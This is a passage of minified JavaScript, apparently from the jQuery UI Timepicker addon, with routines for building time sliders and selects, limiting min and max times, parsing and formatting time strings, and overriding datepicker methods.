r=$(m);for(b.timeOnly===!0&&(r.prepend('<div class="ui-widget-header ui-helper-clearfix ui-corner-all"><div class="ui-datepicker-title">'+b.timeOnlyTitle+"</div></div>"),a.find(".ui-datepicker-header, .ui-datepicker-calendar").hide()),j=0,k=c.units.length;k>j;j++)d=c.units[j],e=d.substr(0,1).toUpperCase()+d.substr(1),f=null!==b["show"+e]?b["show"+e]:this.support[d],c[d+"_slider"]=c.control.create(c,r.find(".ui_tpicker_"+d+"_slider"),d,c[d],b[d+"Min"],g[d],b["step"+e]),f&&b[d+"Grid"]>0&&(i=100*h[d]*b[d+"Grid"]/(g[d]-b[d+"Min"]),r.find(".ui_tpicker_"+d+" table").css({width:i+"%",marginLeft:b.isRTL?"0":i/(-2*h[d])+"%",marginRight:b.isRTL?i/(-2*h[d])+"%":"0",borderCollapse:"collapse"}).find("td").click(function(a){var b=$(this),e=b.html(),f=parseInt(e.replace(/[^0-9]/g),10),g=e.replace(/[^apm]/gi),h=b.data("for");"hour"===h&&(-1!==g.indexOf("p")&&12>f?f+=12:-1!==g.indexOf("a")&&12===f&&(f=0)),c.control.value(c,c[h+"_slider"],d,f),c._onTimeChange(),c._onSelectHandler()}).css({cursor:"pointer",width:100/h[d]+"%",textAlign:"center",overflow:"hidden"}));if(this.timezone_select=r.find(".ui_tpicker_timezone").append("<select></select>").find("select"),$.fn.append.apply(this.timezone_select,$.map(b.timezoneList,function(a,b){return $("<option />").val("object"==typeof a?a.value:a).text("object"==typeof a?a.label:a)})),"undefined"!=typeof this.timezone&&null!==this.timezone&&""!==this.timezone){var s=-1*new Date(this.inst.selectedYear,this.inst.selectedMonth,this.inst.selectedDay,12).getTimezoneOffset();s===this.timezone?selectLocalTimezone(c):this.timezone_select.val(this.timezone)}else"undefined"!=typeof this.hour&&null!==this.hour&&""!==this.hour?this.timezone_select.val(b.timezone):selectLocalTimezone(c);this.timezone_select.change(function(){c._onTimeChange(),c._onSelectHandler(),c._afterInject()});var t=a.find(".ui-datepicker-buttonpane");if(t.length?t.before(r):a.append(r),this.$timeObj=r.find(".ui_tpicker_time_input"),this.$timeObj.change(function(){var a=c.inst.settings.timeFormat,b=$.datepicker.parseTime(a,this.value),d=new Date;b?(d.setHours(b.hour),d.setMinutes(b.minute),d.setSeconds(b.second),$.datepicker._setTime(c.inst,d)):(this.value=c.formattedTime,this.blur())}),null!==this.inst){var u=this.timeDefined;this._onTimeChange(),this.timeDefined=u}if(this._defaults.addSliderAccess){var v=this._defaults.sliderAccessArgs,w=this._defaults.isRTL;v.isRTL=w,setTimeout(function(){if(0===r.find(".ui-slider-access").length){r.find(".ui-slider:visible").sliderAccess(v);var a=r.find(".ui-slider-access:eq(0)").outerWidth(!0);a&&r.find("table:visible").each(function(){var b=$(this),c=b.outerWidth(),d=b.css(w?"marginRight":"marginLeft").toString().replace("%",""),e=c-a,f=d*e/c+"%",g={width:e,marginRight:0,marginLeft:0};g[w?"marginRight":"marginLeft"]=f,b.css(g)})}},10)}c._limitMinMaxDateTime(this.inst,!0)}},_limitMinMaxDateTime:function(a,b){var c=this._defaults,d=new Date(a.selectedYear,a.selectedMonth,a.selectedDay);if(this._defaults.showTimepicker){if(null!==$.datepicker._get(a,"minDateTime")&&void 0!==$.datepicker._get(a,"minDateTime")&&d){var e=$.datepicker._get(a,"minDateTime"),f=new Date(e.getFullYear(),e.getMonth(),e.getDate(),0,0,0,0);(null===this.hourMinOriginal||null===this.minuteMinOriginal||null===this.secondMinOriginal||null===this.millisecMinOriginal||null===this.microsecMinOriginal)&&(this.hourMinOriginal=c.hourMin,this.minuteMinOriginal=c.minuteMin,this.secondMinOriginal=c.secondMin,this.millisecMinOriginal=c.millisecMin,this.microsecMinOriginal=c.microsecMin),a.settings.timeOnly||f.getTime()===d.getTime()?(this._defaults.hourMin=e.getHours(),this.hour<=this._defaults.hourMin?(this.hour=this._defaults.hourMin,this._defaults.minuteMin=e.getMinutes(),this.minute<=this._defaults.minuteMin?(this.minute=this._defaults.minuteMin,this._defaults.secondMin=e.getSeconds(),this.second<=this._defaults.secondMin?(this.second=this._defaults.secondMin,this._defaults.millisecMin=e.getMilliseconds(),this.millisec<=this._defaults.millisecMin?(this.millisec=this._defaults.millisecMin,this._defaults.microsecMin=e.getMicroseconds()):(this.microsec<this._defaults.microsecMin&&(this.microsec=this._defaults.microsecMin),this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.minuteMin=this.minuteMinOriginal,this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.hourMin=this.hourMinOriginal,this._defaults.minuteMin=this.minuteMinOriginal,this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)}if(null!==$.datepicker._get(a,"maxDateTime")&&void 0!==$.datepicker._get(a,"maxDateTime")&&d){var g=$.datepicker._get(a,"maxDateTime"),h=new Date(g.getFullYear(),g.getMonth(),g.getDate(),0,0,0,0);(null===this.hourMaxOriginal||null===this.minuteMaxOriginal||null===this.secondMaxOriginal||null===this.millisecMaxOriginal)&&(this.hourMaxOriginal=c.hourMax,this.minuteMaxOriginal=c.minuteMax,this.secondMaxOriginal=c.secondMax,this.millisecMaxOriginal=c.millisecMax,this.microsecMaxOriginal=c.microsecMax),a.settings.timeOnly||h.getTime()===d.getTime()?(this._defaults.hourMax=g.getHours(),this.hour>=this._defaults.hourMax?(this.hour=this._defaults.hourMax,this._defaults.minuteMax=g.getMinutes(),this.minute>=this._defaults.minuteMax?(this.minute=this._defaults.minuteMax,this._defaults.secondMax=g.getSeconds(),this.second>=this._defaults.secondMax?(this.second=this._defaults.secondMax,this._defaults.millisecMax=g.getMilliseconds(),this.millisec>=this._defaults.millisecMax?(this.millisec=this._defaults.millisecMax,this._defaults.microsecMax=g.getMicroseconds()):(this.microsec>this._defaults.microsecMax&&(this.microsec=this._defaults.microsecMax),this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.minuteMax=this.minuteMaxOriginal,this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.hourMax=this.hourMaxOriginal,this._defaults.minuteMax=this.minuteMaxOriginal,this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)}if(null!==a.settings.minTime){var i=new Date("01/01/1970 "+a.settings.minTime);this.hour<i.getHours()?(this.hour=this._defaults.hourMin=i.getHours(),this.minute=this._defaults.minuteMin=i.getMinutes()):this.hour===i.getHours()&&this.minute<i.getMinutes()?this.minute=this._defaults.minuteMin=i.getMinutes():this._defaults.hourMin<i.getHours()?(this._defaults.hourMin=i.getHours(),this._defaults.minuteMin=i.getMinutes()):this._defaults.hourMin===i.getHours()===this.hour&&this._defaults.minuteMin<i.getMinutes()?this._defaults.minuteMin=i.getMinutes():this._defaults.minuteMin=0}if(null!==a.settings.maxTime){var j=new Date("01/01/1970 "+a.settings.maxTime);this.hour>j.getHours()?(this.hour=this._defaults.hourMax=j.getHours(),this.minute=this._defaults.minuteMax=j.getMinutes()):this.hour===j.getHours()&&this.minute>j.getMinutes()?this.minute=this._defaults.minuteMax=j.getMinutes():this._defaults.hourMax>j.getHours()?(this._defaults.hourMax=j.getHours(),this._defaults.minuteMax=j.getMinutes()):this._defaults.hourMax===j.getHours()===this.hour&&this._defaults.minuteMax>j.getMinutes()?this._defaults.minuteMax=j.getMinutes():this._defaults.minuteMax=59}if(void 0!==b&&b===!0){var k=parseInt(this._defaults.hourMax-(this._defaults.hourMax-this._defaults.hourMin)%this._defaults.stepHour,10),l=parseInt(this._defaults.minuteMax-(this._defaults.minuteMax-this._defaults.minuteMin)%this._defaults.stepMinute,10),m=parseInt(this._defaults.secondMax-(this._defaults.secondMax-this._defaults.secondMin)%this._defaults.stepSecond,10),n=parseInt(this._defaults.millisecMax-(this._defaults.millisecMax-this._defaults.millisecMin)%this._defaults.stepMillisec,10),o=parseInt(this._defaults.microsecMax-(this._defaults.microsecMax-this._defaults.microsecMin)%this._defaults.stepMicrosec,10);this.hour_slider&&(this.control.options(this,this.hour_slider,"hour",{min:this._defaults.hourMin,max:k,step:this._defaults.stepHour}),this.control.value(this,this.hour_slider,"hour",this.hour-this.hour%this._defaults.stepHour)),this.minute_slider&&(this.control.options(this,this.minute_slider,"minute",{min:this._defaults.minuteMin,max:l,step:this._defaults.stepMinute}),this.control.value(this,this.minute_slider,"minute",this.minute-this.minute%this._defaults.stepMinute)),this.second_slider&&(this.control.options(this,this.second_slider,"second",{min:this._defaults.secondMin,max:m,step:this._defaults.stepSecond}),this.control.value(this,this.second_slider,"second",this.second-this.second%this._defaults.stepSecond)),this.millisec_slider&&(this.control.options(this,this.millisec_slider,"millisec",{min:this._defaults.millisecMin,max:n,step:this._defaults.stepMillisec}),this.control.value(this,this.millisec_slider,"millisec",this.millisec-this.millisec%this._defaults.stepMillisec)),this.microsec_slider&&(this.control.options(this,this.microsec_slider,"microsec",{min:this._defaults.microsecMin,max:o,step:this._defaults.stepMicrosec}),this.control.value(this,this.microsec_slider,"microsec",this.microsec-this.microsec%this._defaults.stepMicrosec))}}},_onTimeChange:function(){if(this._defaults.showTimepicker){var a=this.hour_slider?this.control.value(this,this.hour_slider,"hour"):!1,b=this.minute_slider?this.control.value(this,this.minute_slider,"minute"):!1,c=this.second_slider?this.control.value(this,this.second_slider,"second"):!1,d=this.millisec_slider?this.control.value(this,this.millisec_slider,"millisec"):!1,e=this.microsec_slider?this.control.value(this,this.microsec_slider,"microsec"):!1,f=this.timezone_select?this.timezone_select.val():!1,g=this._defaults,h=g.pickerTimeFormat||g.timeFormat,i=g.pickerTimeSuffix||g.timeSuffix;"object"==typeof a&&(a=!1),"object"==typeof b&&(b=!1),"object"==typeof c&&(c=!1),"object"==typeof d&&(d=!1),"object"==typeof e&&(e=!1),"object"==typeof f&&(f=!1),a!==!1&&(a=parseInt(a,10)),b!==!1&&(b=parseInt(b,10)),c!==!1&&(c=parseInt(c,10)),d!==!1&&(d=parseInt(d,10)),e!==!1&&(e=parseInt(e,10)),f!==!1&&(f=f.toString());var j=g[12>a?"amNames":"pmNames"][0],k=a!==parseInt(this.hour,10)||b!==parseInt(this.minute,10)||c!==parseInt(this.second,10)||d!==parseInt(this.millisec,10)||e!==parseInt(this.microsec,10)||this.ampm.length>0&&12>a!=(-1!==$.inArray(this.ampm.toUpperCase(),this.amNames))||null!==this.timezone&&f!==this.timezone.toString();if(k&&(a!==!1&&(this.hour=a),b!==!1&&(this.minute=b),c!==!1&&(this.second=c),d!==!1&&(this.millisec=d),e!==!1&&(this.microsec=e),f!==!1&&(this.timezone=f),this.inst||(this.inst=$.datepicker._getInst(this.$input[0])),this._limitMinMaxDateTime(this.inst,!0)),this.support.ampm&&(this.ampm=j),this.formattedTime=$.datepicker.formatTime(g.timeFormat,this,g),this.$timeObj&&(this.$timeObj.val(h===g.timeFormat?this.formattedTime+i:$.datepicker.formatTime(h,this,g)+i),this.$timeObj[0].setSelectionRange)){var l=this.$timeObj[0].selectionStart,m=this.$timeObj[0].selectionEnd;this.$timeObj[0].setSelectionRange(l,m)}this.timeDefined=!0,k&&this._updateDateTime()}},_onSelectHandler:function(){var a=this._defaults.onSelect||this.inst.settings.onSelect,b=this.$input?this.$input[0]:null;a&&b&&a.apply(b,[this.formattedDateTime,this])},_updateDateTime:function(a){a=this.inst||a;var b=a.currentYear>0?new Date(a.currentYear,a.currentMonth,a.currentDay):new Date(a.selectedYear,a.selectedMonth,a.selectedDay),c=$.datepicker._daylightSavingAdjust(b),d=$.datepicker._get(a,"dateFormat"),e=$.datepicker._getFormatConfig(a),f=null!==c&&this.timeDefined;this.formattedDate=$.datepicker.formatDate(d,null===c?new Date:c,e);var g=this.formattedDate;if(""===a.lastVal&&(a.currentYear=a.selectedYear,a.currentMonth=a.selectedMonth,a.currentDay=a.selectedDay),this._defaults.timeOnly===!0&&this._defaults.timeOnlyShowDate===!1?g=this.formattedTime:(this._defaults.timeOnly!==!0&&(this._defaults.alwaysSetTime||f)||this._defaults.timeOnly===!0&&this._defaults.timeOnlyShowDate===!0)&&(g+=this._defaults.separator+this.formattedTime+this._defaults.timeSuffix),this.formattedDateTime=g,this._defaults.showTimepicker)if(this.$altInput&&this._defaults.timeOnly===!1&&this._defaults.altFieldTimeOnly===!0)this.$altInput.val(this.formattedTime),this.$input.val(this.formattedDate);else if(this.$altInput){this.$input.val(g);var h="",i=null!==this._defaults.altSeparator?this._defaults.altSeparator:this._defaults.separator,j=null!==this._defaults.altTimeSuffix?this._defaults.altTimeSuffix:this._defaults.timeSuffix;this._defaults.timeOnly||(h=this._defaults.altFormat?$.datepicker.formatDate(this._defaults.altFormat,null===c?new Date:c,e):this.formattedDate,h&&(h+=i)),h+=null!==this._defaults.altTimeFormat?$.datepicker.formatTime(this._defaults.altTimeFormat,this,this._defaults)+j:this.formattedTime+j,this.$altInput.val(h)}else this.$input.val(g);else this.$input.val(this.formattedDate);this.$input.trigger("change")},_onFocus:function(){if(!this.$input.val()&&this._defaults.defaultValue){this.$input.val(this._defaults.defaultValue);var a=$.datepicker._getInst(this.$input.get(0)),b=$.datepicker._get(a,"timepicker");if(b&&b._defaults.timeOnly&&a.input.val()!==a.lastVal)try{$.datepicker._updateDatepicker(a)}catch(c){$.timepicker.log(c)}}},_controls:{slider:{create:function(a,b,c,d,e,f,g){var h=a._defaults.isRTL;return b.prop("slide",null).slider({orientation:"horizontal",value:h?-1*d:d,min:h?-1*f:e,max:h?-1*e:f,step:g,slide:function(b,d){a.control.value(a,$(this),c,h?-1*d.value:d.value),a._onTimeChange()},stop:function(b,c){a._onSelectHandler()}})},options:function(a,b,c,d,e){if(a._defaults.isRTL){if("string"==typeof d)return"min"===d||"max"===d?void 0!==e?b.slider(d,-1*e):Math.abs(b.slider(d)):b.slider(d);var f=d.min,g=d.max;return d.min=d.max=null,void 0!==f&&(d.max=-1*f),void 0!==g&&(d.min=-1*g),b.slider(d)}return"string"==typeof d&&void 0!==e?b.slider(d,e):b.slider(d)},value:function(a,b,c,d){return a._defaults.isRTL?void 0!==d?b.slider("value",-1*d):Math.abs(b.slider("value")):void 0!==d?b.slider("value",d):b.slider("value")}},select:{create:function(a,b,c,d,e,f,g){for(var h='<select class="ui-timepicker-select ui-state-default ui-corner-all" data-unit="'+c+'" data-min="'+e+'" data-max="'+f+'" data-step="'+g+'">',i=a._defaults.pickerTimeFormat||a._defaults.timeFormat,j=e;f>=j;j+=g)h+='<option value="'+j+'"'+(j===d?" selected":"")+">",h+="hour"===c?$.datepicker.formatTime($.trim(i.replace(/[^ht ]/gi,"")),{hour:j},a._defaults):"millisec"===c||"microsec"===c||j>=10?j:"0"+j.toString(),h+="</option>";return h+="</select>",b.children("select").remove(),$(h).appendTo(b).change(function(b){a._onTimeChange(),a._onSelectHandler(),a._afterInject()}),b},options:function(a,b,c,d,e){var f={},g=b.children("select");if("string"==typeof d){if(void 0===e)return g.data(d);f[d]=e}else f=d;return a.control.create(a,b,g.data("unit"),g.val(),f.min>=0?f.min:g.data("min"),f.max||g.data("max"),f.step||g.data("step"))},value:function(a,b,c,d){var e=b.children("select");return void 0!==d?e.val(d):e.val()}}}}),$.fn.extend({timepicker:function(a){a=a||{};var b=Array.prototype.slice.call(arguments);return"object"==typeof a&&(b[0]=$.extend(a,{timeOnly:!0})),$(this).each(function(){$.fn.datetimepicker.apply($(this),b)})},datetimepicker:function(a){a=a||{};var b=arguments;return"string"==typeof a?"getDate"===a||"option"===a&&2===b.length&&"string"==typeof b[1]?$.fn.datepicker.apply($(this[0]),b):this.each(function(){var a=$(this);a.datepicker.apply(a,b)}):this.each(function(){var b=$(this);b.datepicker($.timepicker._newInst(b,a)._defaults)})}}),$.datepicker.parseDateTime=function(a,b,c,d,e){var f=parseDateTimeInternal(a,b,c,d,e);if(f.timeObj){var g=f.timeObj;f.date.setHours(g.hour,g.minute,g.second,g.millisec),f.date.setMicroseconds(g.microsec)}return f.date},$.datepicker.parseTime=function(a,b,c){var d=extendRemove(extendRemove({},$.timepicker._defaults),c||{}),e=(-1!==a.replace(/\'.*?\'/g,"").indexOf("Z"),function(a,b,c){var d,e=function(a,b){var c=[];return a&&$.merge(c,a),b&&$.merge(c,b),c=$.map(c,function(a){return a.replace(/[.*+?|()\[\]{}\\]/g,"\\$&")}),"("+c.join("|")+")?"},f=function(a){var b=a.toLowerCase().match(/(h{1,2}|m{1,2}|s{1,2}|l{1}|c{1}|t{1,2}|z|'.*?')/g),c={h:-1,m:-1,s:-1,l:-1,c:-1,t:-1,z:-1};if(b)for(var d=0;d<b.length;d++)-1===c[b[d].toString().charAt(0)]&&(c[b[d].toString().charAt(0)]=d+1);return c},g="^"+a.toString().replace(/([hH]{1,2}|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g,function(a){var b=a.length;switch(a.charAt(0).toLowerCase()){case"h":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"m":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"s":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"l":return"(\\d?\\d?\\d)";case"c":return"(\\d?\\d?\\d)";case"z":return"(z|[-+]\\d\\d:?\\d\\d|\\S+)?";case"t":return e(c.amNames,c.pmNames);default:return"("+a.replace(/\'/g,"").replace(/(\.|\$|\^|\\|\/|\(|\)|\[|\]|\?|\+|\*)/g,function(a){return"\\"+a})+")?"}}).replace(/\s/g,"\\s?")+c.timeSuffix+"$",h=f(a),i="";d=b.match(new RegExp(g,"i"));var j={hour:0,minute:0,second:0,millisec:0,microsec:0};return d?(-1!==h.t&&(void 0===d[h.t]||0===d[h.t].length?(i="",j.ampm=""):(i=-1!==$.inArray(d[h.t].toUpperCase(),$.map(c.amNames,function(a,b){return a.toUpperCase()}))?"AM":"PM",j.ampm=c["AM"===i?"amNames":"pmNames"][0])),-1!==h.h&&("AM"===i&&"12"===d[h.h]?j.hour=0:"PM"===i&&"12"!==d[h.h]?j.hour=parseInt(d[h.h],10)+12:j.hour=Number(d[h.h])),-1!==h.m&&(j.minute=Number(d[h.m])),-1!==h.s&&(j.second=Number(d[h.s])),-1!==h.l&&(j.millisec=Number(d[h.l])),-1!==h.c&&(j.microsec=Number(d[h.c])),-1!==h.z&&void 0!==d[h.z]&&(j.timezone=$.timepicker.timezoneOffsetNumber(d[h.z])),j):!1}),f=function(a,b,c){try{var d=new Date("2012-01-01 "+b);if(isNaN(d.getTime())&&(d=new Date("2012-01-01T"+b),isNaN(d.getTime())&&(d=new Date("01/01/2012 "+b),isNaN(d.getTime()))))throw"Unable to parse time with native Date: "+b;return{hour:d.getHours(),minute:d.getMinutes(),second:d.getSeconds(),millisec:d.getMilliseconds(),microsec:d.getMicroseconds(),timezone:-1*d.getTimezoneOffset()}}catch(f){try{return e(a,b,c)}catch(g){$.timepicker.log("Unable to parse \ntimeString: "+b+"\ntimeFormat: "+a)}}return!1};return"function"==typeof d.parse?d.parse(a,b,d):"loose"===d.parse?f(a,b,d):e(a,b,d)},$.datepicker.formatTime=function(a,b,c){c=c||{},c=$.extend({},$.timepicker._defaults,c),b=$.extend({hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null},b);var d=a,e=c.amNames[0],f=parseInt(b.hour,10);return f>11&&(e=c.pmNames[0]),d=d.replace(/(?:HH?|hh?|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g,function(a){switch(a){case"HH":return("0"+f).slice(-2);case"H":return f;case"hh":return("0"+convert24to12(f)).slice(-2);case"h":return convert24to12(f);case"mm":return("0"+b.minute).slice(-2);case"m":return b.minute;case"ss":return("0"+b.second).slice(-2);case"s":return b.second;case"l":return("00"+b.millisec).slice(-3);case"c":return("00"+b.microsec).slice(-3);case"z":return $.timepicker.timezoneOffsetString(null===b.timezone?c.timezone:b.timezone,!1);case"Z":return $.timepicker.timezoneOffsetString(null===b.timezone?c.timezone:b.timezone,!0);case"T":return e.charAt(0).toUpperCase();case"TT":return e.toUpperCase();case"t":return e.charAt(0).toLowerCase();case"tt":return e.toLowerCase();default:return a.replace(/'/g,"")}})},$.datepicker._base_selectDate=$.datepicker._selectDate,$.datepicker._selectDate=function(a,b){var c,d=this._getInst($(a)[0]),e=this._get(d,"timepicker");e&&d.settings.showTimepicker?(e._limitMinMaxDateTime(d,!0),c=d.inline,d.inline=d.stay_open=!0,this._base_selectDate(a,b),d.inline=c,d.stay_open=!1,this._notifyChange(d),this._updateDatepicker(d)):this._base_selectDate(a,b)},$.datepicker._base_updateDatepicker=$.datepicker._updateDatepicker,$.datepicker._updateDatepicker=function(a){var b=a.input[0];if(!($.datepicker._curInst&&$.datepicker._curInst!==a&&$.datepicker._datepickerShowing&&$.datepicker._lastInput!==b||"boolean"==typeof a.stay_open&&a.stay_open!==!1)){this._base_updateDatepicker(a);var c=this._get(a,"timepicker");c&&c._addTimePicker(a)}},$.datepicker._base_doKeyPress=$.datepicker._doKeyPress,$.datepicker._doKeyPress=function(a){var b=$.datepicker._getInst(a.target),c=$.datepicker._get(b,"timepicker");if(c&&$.datepicker._get(b,"constrainInput")){var d=c.support.ampm,e=null!==c._defaults.showTimezone?c._defaults.showTimezone:c.support.timezone,f=$.datepicker._possibleChars($.datepicker._get(b,"dateFormat")),g=c._defaults.timeFormat.toString().replace(/[hms]/g,"").replace(/TT/g,d?"APM":"").replace(/Tt/g,d?"AaPpMm":"").replace(/tT/g,d?"AaPpMm":"").replace(/T/g,d?"AP":"").replace(/tt/g,d?"apm":"").replace(/t/g,d?"ap":"")+" "+c._defaults.separator+c._defaults.timeSuffix+(e?c._defaults.timezoneList.join(""):"")+c._defaults.amNames.join("")+c._defaults.pmNames.join("")+f,h=String.fromCharCode(void 0===a.charCode?a.keyCode:a.charCode);return a.ctrlKey||" ">h||!f||g.indexOf(h)>-1}return $.datepicker._base_doKeyPress(a)},$.datepicker._base_updateAlternate=$.datepicker._updateAlternate,$.datepicker._updateAlternate=function(a){var b=this._get(a,"timepicker");if(b){var c=b._defaults.altField;if(c){var d=(b._defaults.altFormat||b._defaults.dateFormat,this._getDate(a)),e=$.datepicker._getFormatConfig(a),f="",g=b._defaults.altSeparator?b._defaults.altSeparator:b._defaults.separator,h=b._defaults.altTimeSuffix?b._defaults.altTimeSuffix:b._defaults.timeSuffix,i=null!==b._defaults.altTimeFormat?b._defaults.altTimeFormat:b._defaults.timeFormat;f+=$.datepicker.formatTime(i,b,b._defaults)+h,b._defaults.timeOnly||b._defaults.altFieldTimeOnly||null===d||(f=b._defaults.altFormat?$.datepicker.formatDate(b._defaults.altFormat,d,e)+g+f:b.formattedDate+g+f),$(c).val(a.input.val()?f:"")}}else $.datepicker._base_updateAlternate(a)},$.datepicker._base_doKeyUp=$.datepicker._doKeyUp,$.datepicker._doKeyUp=function(a){var b=$.datepicker._getInst(a.target),c=$.datepicker._get(b,"timepicker");
if(c&&c._defaults.timeOnly&&b.input.val()!==b.lastVal)try{$.datepicker._updateDatepicker(b)}catch(d){$.timepicker.log(d)}return $.datepicker._base_doKeyUp(a)},$.datepicker._base_gotoToday=$.datepicker._gotoToday,$.datepicker._gotoToday=function(a){var b=this._getInst($(a)[0]);this._base_gotoToday(a);var c=this._get(b,"timepicker");if(c){var d=$.timepicker.timezoneOffsetNumber(c.timezone),e=new Date;e.setMinutes(e.getMinutes()+e.getTimezoneOffset()+parseInt(d,10)),this._setTime(b,e),this._setDate(b,e),c._onSelectHandler()}},$.datepicker._disableTimepickerDatepicker=function(a){var b=this._getInst(a);if(b){var c=this._get(b,"timepicker");$(a).datepicker("getDate"),c&&(b.settings.showTimepicker=!1,c._defaults.showTimepicker=!1,c._updateDateTime(b))}},$.datepicker._enableTimepickerDatepicker=function(a){var b=this._getInst(a);if(b){var c=this._get(b,"timepicker");$(a).datepicker("getDate"),c&&(b.settings.showTimepicker=!0,c._defaults.showTimepicker=!0,c._addTimePicker(b),c._updateDateTime(b))}},$.datepicker._setTime=function(a,b){var c=this._get(a,"timepicker");if(c){var d=c._defaults;c.hour=b?b.getHours():d.hour,c.minute=b?b.getMinutes():d.minute,c.second=b?b.getSeconds():d.second,c.millisec=b?b.getMilliseconds():d.millisec,c.microsec=b?b.getMicroseconds():d.microsec,c._limitMinMaxDateTime(a,!0),c._onTimeChange(),c._updateDateTime(a)}},$.datepicker._setTimeDatepicker=function(a,b,c){var d=this._getInst(a);if(d){var e=this._get(d,"timepicker");if(e){this._setDateFromField(d);var f;b&&("string"==typeof b?(e._parseTime(b,c),f=new Date,f.setHours(e.hour,e.minute,e.second,e.millisec),f.setMicroseconds(e.microsec)):(f=new Date(b.getTime()),f.setMicroseconds(b.getMicroseconds())),"Invalid Date"===f.toString()&&(f=void 0),this._setTime(d,f))}}},$.datepicker._base_setDateDatepicker=$.datepicker._setDateDatepicker,$.datepicker._setDateDatepicker=function(a,b){var c=this._getInst(a),d=b;if(c){"string"==typeof b&&(d=new Date(b),d.getTime()||(this._base_setDateDatepicker.apply(this,arguments),d=$(a).datepicker("getDate")));var e,f=this._get(c,"timepicker");d instanceof Date?(e=new Date(d.getTime()),e.setMicroseconds(d.getMicroseconds())):e=d,f&&e&&(f.support.timezone||null!==f._defaults.timezone||(f.timezone=-1*e.getTimezoneOffset()),d=$.timepicker.timezoneAdjust(d,$.timepicker.timezoneOffsetString(-d.getTimezoneOffset()),f.timezone),e=$.timepicker.timezoneAdjust(e,$.timepicker.timezoneOffsetString(-e.getTimezoneOffset()),f.timezone)),this._updateDatepicker(c),this._base_setDateDatepicker.apply(this,arguments),this._setTimeDatepicker(a,e,!0)}},$.datepicker._base_getDateDatepicker=$.datepicker._getDateDatepicker,$.datepicker._getDateDatepicker=function(a,b){var c=this._getInst(a);if(c){var d=this._get(c,"timepicker");if(d){void 0===c.lastVal&&this._setDateFromField(c,b);var e=this._getDate(c),f=null;return f=d.$altInput&&d._defaults.altFieldTimeOnly?d.$input.val()+" "+d.$altInput.val():"INPUT"!==d.$input.get(0).tagName&&d.$altInput?d.$altInput.val():d.$input.val(),e&&d._parseTime(f,!c.settings.timeOnly)&&(e.setHours(d.hour,d.minute,d.second,d.millisec),e.setMicroseconds(d.microsec),null!=d.timezone&&(d.support.timezone||null!==d._defaults.timezone||(d.timezone=-1*e.getTimezoneOffset()),e=$.timepicker.timezoneAdjust(e,d.timezone,$.timepicker.timezoneOffsetString(-e.getTimezoneOffset())))),e}return this._base_getDateDatepicker(a,b)}},$.datepicker._base_parseDate=$.datepicker.parseDate,$.datepicker.parseDate=function(a,b,c){var d;try{d=this._base_parseDate(a,b,c)}catch(e){if(!(e.indexOf(":")>=0))throw e;d=this._base_parseDate(a,b.substring(0,b.length-(e.length-e.indexOf(":")-2)),c),$.timepicker.log("Error parsing the date string: "+e+"\ndate string = "+b+"\ndate format = "+a)}return d},$.datepicker._base_formatDate=$.datepicker._formatDate,$.datepicker._formatDate=function(a,b,c,d){var e=this._get(a,"timepicker");return e?(e._updateDateTime(a),e.$input.val()):this._base_formatDate(a)},$.datepicker._base_optionDatepicker=$.datepicker._optionDatepicker,$.datepicker._optionDatepicker=function(a,b,c){var d,e=this._getInst(a);if(!e)return null;var f=this._get(e,"timepicker");if(f){var g,h,i,j,k=null,l=null,m=null,n=f._defaults.evnts,o={};if("string"==typeof b){if("minDate"===b||"minDateTime"===b)k=c;else if("maxDate"===b||"maxDateTime"===b)l=c;else if("onSelect"===b)m=c;else if(n.hasOwnProperty(b)){if("undefined"==typeof c)return n[b];o[b]=c,d={}}}else if("object"==typeof b){b.minDate?k=b.minDate:b.minDateTime?k=b.minDateTime:b.maxDate?l=b.maxDate:b.maxDateTime&&(l=b.maxDateTime);for(g in n)n.hasOwnProperty(g)&&b[g]&&(o[g]=b[g])}for(g in o)o.hasOwnProperty(g)&&(n[g]=o[g],d||(d=$.extend({},b)),delete d[g]);if(d&&isEmptyObject(d))return;if(k?(k=0===k?new Date:new Date(k),f._defaults.minDate=k,f._defaults.minDateTime=k):l?(l=0===l?new Date:new Date(l),f._defaults.maxDate=l,f._defaults.maxDateTime=l):m&&(f._defaults.onSelect=m),k||l)return j=$(a),i=j.datetimepicker("getDate"),h=this._base_optionDatepicker.call($.datepicker,a,d||b,c),j.datetimepicker("setDate",i),h}return void 0===c?this._base_optionDatepicker.call($.datepicker,a,b):this._base_optionDatepicker.call($.datepicker,a,d||b,c)};var isEmptyObject=function(a){var b;for(b in a)if(a.hasOwnProperty(b))return!1;return!0},extendRemove=function(a,b){$.extend(a,b);for(var c in b)(null===b[c]||void 0===b[c])&&(a[c]=b[c]);return a},detectSupport=function(a){var b=a.replace(/'.*?'/g,"").toLowerCase(),c=function(a,b){return-1!==a.indexOf(b)?!0:!1};return{hour:c(b,"h"),minute:c(b,"m"),second:c(b,"s"),millisec:c(b,"l"),microsec:c(b,"c"),timezone:c(b,"z"),ampm:c(b,"t")&&c(a,"h"),iso8601:c(a,"Z")}},convert24to12=function(a){return a%=12,0===a&&(a=12),String(a)},computeEffectiveSetting=function(a,b){return 